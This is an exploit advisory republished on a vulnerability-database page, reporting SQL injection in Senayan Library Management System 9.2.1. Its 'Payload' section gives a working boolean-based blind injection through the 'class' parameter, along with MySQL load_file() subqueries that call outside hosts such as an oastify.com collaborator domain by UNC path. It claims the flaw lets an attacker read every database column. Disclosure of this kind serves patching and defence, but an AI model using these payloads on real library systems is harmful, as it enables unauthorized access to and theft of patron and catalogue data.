Lucene search
K

Senayan Library Management System 9.2.1 SQL Injection Vulnerability

🗓️ 24 Dec 2022 00:00:00Reported by nu11secur1tyType 
zdt
 zdt
🔗 0day.today👁 273 Views

Senayan Library Management System v9.2.1 SQL Injection Vulnerability. Vulnerable to manual insertion point 4, allowing attacker to extract information from all database columns

Code
## Title: Senayan Library Management System v9.2.1 a.k.a SLIMS 9 SQLi
## Author: nu11secur1ty
## Vendor: https://slims.web.id/web/
## Software: https://github.com/slims/slims9_bulian/releases/tag/v9.2.1
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.1/SQLi

## Description:
The manual insertion `point 4` appears to be vulnerable to SQL
injection attacks. The payload '+(select
load_file('\\\\azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.stupid.com\\dzd'))+'
was submitted in the manual insertion `point 4`.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take information from all database columns of this
system by using this vulnerability.

## STATUS: HIGH Vulnerability - CRITICAL

[+] Payload:

```MySQL
---
Parameter: class (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY
or GROUP BY clause
    Payload: reportView=true&year=2002&class=bbbb'+(select
load_file('\\\\716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+''
RLIKE (SELECT (CASE WHEN (5179=5179) THEN 0x62626262+(select
load_file(0x5c5c5c5c37313667623163666539676b6a61347a646a34357178783932303876776c6b636e30656e3662762e736c696d732e7765622e69645c5c6e6271))+''
ELSE 0x28 END)) AND 'BcGE'='BcGE&membershipType=a'''+(select
load_file('\\\\c0dsife82nybqm59yrpe81r86zct0kobrzip5it7.oastify.com\\bjr'))+'&collType=aaaa'+(select
load_file('\\\\dctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id\\wtf'))+''+(select
load_file('\\\\azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.slims.web.id\\dzd'))+'
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.1/SQLi)

## Proof and Exploit:
[href](https://streamable.com/zp75bx)

## Time spent
`00:15:00`

## Writing an exploit
`00:05:00`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation